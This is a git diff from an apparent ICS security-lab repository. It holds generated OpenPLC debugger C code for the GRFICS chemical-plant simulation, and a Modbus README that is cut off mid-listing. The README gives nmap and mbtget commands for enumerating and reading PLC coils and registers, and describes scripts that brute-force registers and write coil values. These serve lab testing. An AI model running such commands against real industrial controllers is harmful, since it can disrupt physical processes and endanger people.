+{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.HMI_PRESSURE), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_LEVEL), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.SCAN_COUNT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_K), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB32_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.MUL33_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB30_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT), BOOL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT0), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE7_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE11_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE15_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE19_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.MOVE99_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE99_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.MOVE4_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE4_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.MOVE5_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE5_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.MOVE7_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE7_OUT), UINT_ENUM} +}; + +typedef void(*__for_each_variable_do_fp)(dbgvardsc_t*); +void __for_each_variable_do(__for_each_variable_do_fp fp) +{ + unsigned int i; + for(i = 0; i < sizeof(dbgvardsc)/sizeof(dbgvardsc_t); i++){ + dbgvardsc_t *dsc = &dbgvardsc[i]; + if(dsc->type != UNKNOWN_ENUM) + (*fp)(dsc); + } +} + +#define __Unpack_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + *flags = ((__IEC_##TYPENAME##_t *)varp)->flags;\ + forced_value_p = *real_value_p = &((__IEC_##TYPENAME##_t *)varp)->value;\ + break; + +#define __Unpack_case_p(TYPENAME)\ + case TYPENAME##_O_ENUM :\ + *flags = __IEC_OUTPUT_FLAG;\ + case TYPENAME##_P_ENUM :\ + *flags |= ((__IEC_##TYPENAME##_p *)varp)->flags;\ + *real_value_p = ((__IEC_##TYPENAME##_p *)varp)->value;\ + forced_value_p = &((__IEC_##TYPENAME##_p *)varp)->fvalue;\ + break; + +void* UnpackVar(dbgvardsc_t *dsc, void **real_value_p, char *flags) +{ + void *varp = dsc->ptr; + void *forced_value_p = NULL; + *flags = 0; + /* find data to copy*/ + switch(dsc->type){ + __ANY(__Unpack_case_t) + __ANY(__Unpack_case_p) + default: + break; + } + if (*flags & __IEC_FORCE_FLAG) + return forced_value_p; + return *real_value_p; +} + +void Remind(unsigned int offset, unsigned int count, void * p); + +void RemindIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Remind(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } +} + +extern int CheckRetainBuffer(void); +extern void InitRetain(void); + +void __init_debug(void) +{ + /* init local static vars */ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + buffer_state = BUFFER_FREE; +#endif + + retain_offset = 0; + InitRetain(); + /* Iterate over all variables to fill debug buffer */ + if(CheckRetainBuffer()){ + __for_each_variable_do(RemindIterator); + }else{ + char mstr[] = "RETAIN memory invalid - defaults used"; + LogMessage(LOG_WARNING, mstr, sizeof(mstr)); + } + retain_offset = 0; +} + +extern void InitiateDebugTransfer(void); +extern void CleanupRetain(void); + +extern unsigned long __tick; + +void __cleanup_debug(void) +{ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + InitiateDebugTransfer(); +#endif + + CleanupRetain(); +} + +void __retrieve_debug(void) +{ +} + + +void Retain(unsigned int offset, unsigned int count, void * p); + +static inline void BufferIterator(dbgvardsc_t *dsc, int do_debug) +{ + void *real_value_p = NULL; + void *visible_value_p = NULL; + char flags = 0; + + visible_value_p = UnpackVar(dsc, &real_value_p, &flags); + + if(flags & ( __IEC_DEBUG_FLAG | __IEC_RETAIN_FLAG)){ + USINT size = __get_type_enum_size(dsc->type); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + if(flags & __IEC_DEBUG_FLAG){ + /* copy visible variable to buffer */; + if(do_debug){ + /* compute next cursor positon. + No need to check overflow, as BUFFER_SIZE + is computed large enough */ + if((dsc->type == STRING_ENUM) || + (dsc->type == STRING_P_ENUM) || + (dsc->type == STRING_O_ENUM)){ + /* optimization for strings */ + size = ((STRING*)visible_value_p)->len + 1; + } + char* next_cursor = buffer_cursor + size; + /* copy data to the buffer */ + memcpy(buffer_cursor, visible_value_p, size); + /* increment cursor according size*/ + buffer_cursor = next_cursor; + } + /* re-force real value of outputs (M and Q)*/ + if((flags & __IEC_FORCE_FLAG) && (flags & __IEC_OUTPUT_FLAG)){ + memcpy(real_value_p, visible_value_p, size); + } + } +#endif + + if(flags & __IEC_RETAIN_FLAG){ + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Retain(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } + } +} + +void DebugIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 1); +} + +void RetainIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 0); +} + + +unsigned int retain_size = 0; + +/* GetRetainSizeIterator */ +void GetRetainSizeIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* Calc retain buffer size */ + retain_size += size; + } +} + +/* Return size of all retain variables */ +unsigned int GetRetainSize(void) +{ + __for_each_variable_do(GetRetainSizeIterator); + return retain_size; +} + + +extern void PLC_GetTime(IEC_TIME*); +extern int TryEnterDebugSection(void); +extern long AtomicCompareExchange(long*, long, long); +extern long long AtomicCompareExchange64(long long* , long long , long long); +extern void LeaveDebugSection(void); +extern void ValidateRetainBuffer(void); +extern void InValidateRetainBuffer(void); + +void __publish_debug(void) +{ + retain_offset = 0; + InValidateRetainBuffer(); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + /* Check there is no running debugger re-configuration */ + if(TryEnterDebugSection()){ + /* Lock buffer */ + long latest_state = AtomicCompareExchange( + &buffer_state, + BUFFER_FREE, + BUFFER_BUSY); + + /* If buffer was free */ + if(latest_state == BUFFER_FREE) + { + /* Reset buffer cursor */ + buffer_cursor = debug_buffer; + /* Iterate over all variables to fill debug buffer */ + __for_each_variable_do(DebugIterator); + + /* Leave debug section, + * Trigger asynchronous transmission + * (returns immediately) */ + InitiateDebugTransfer(); /* size */ + }else{ + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + LeaveDebugSection(); + }else +#endif + { + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + ValidateRetainBuffer(); +} + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define __RegisterDebugVariable_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_t *)varp)->value = *((TYPENAME *)force);\ + break; +#define __RegisterDebugVariable_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + break;\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force){\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + *(((__IEC_##TYPENAME##_p *)varp)->value) = *((TYPENAME *)force);\ + }\ + break; +void RegisterDebugVariable(unsigned int idx, void* force) +{ + if(idx < sizeof(dbgvardsc)/sizeof(dbgvardsc_t)){ + unsigned char flags = force ? + __IEC_DEBUG_FLAG | __IEC_FORCE_FLAG : + __IEC_DEBUG_FLAG; + dbgvardsc_t *dsc = &dbgvardsc[idx]; + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__RegisterDebugVariable_case_t) + __ANY(__RegisterDebugVariable_case_p) + default: + break; + } + } +} + +#define __ResetDebugVariablesIterator_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +#define __ResetDebugVariablesIterator_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +void ResetDebugVariablesIterator(dbgvardsc_t *dsc) +{ + /* force debug flag to 0*/ + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__ResetDebugVariablesIterator_case_t) + __ANY(__ResetDebugVariablesIterator_case_p) + default: + break; + } +} + +void ResetDebugVariables(void) +{ + __for_each_variable_do(ResetDebugVariablesIterator); +} + +void FreeDebugData(void) +{ + /* atomically mark buffer as free */ + AtomicCompareExchange( + &buffer_state, + BUFFER_BUSY, + BUFFER_FREE); +} +int WaitDebugData(unsigned long *tick); +/* Wait until debug data ready and return pointer to it */ +int GetDebugData(unsigned long *tick, unsigned long *size, void **buffer){ + int wait_error = WaitDebugData(tick); + if(!wait_error){ + *size = buffer_cursor - debug_buffer; + *buffer = debug_buffer; + } + return wait_error; +} +#endif +#endif + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.o new file mode 100644 index 0000000..dd4a2c2 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.o Binary files differ diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t 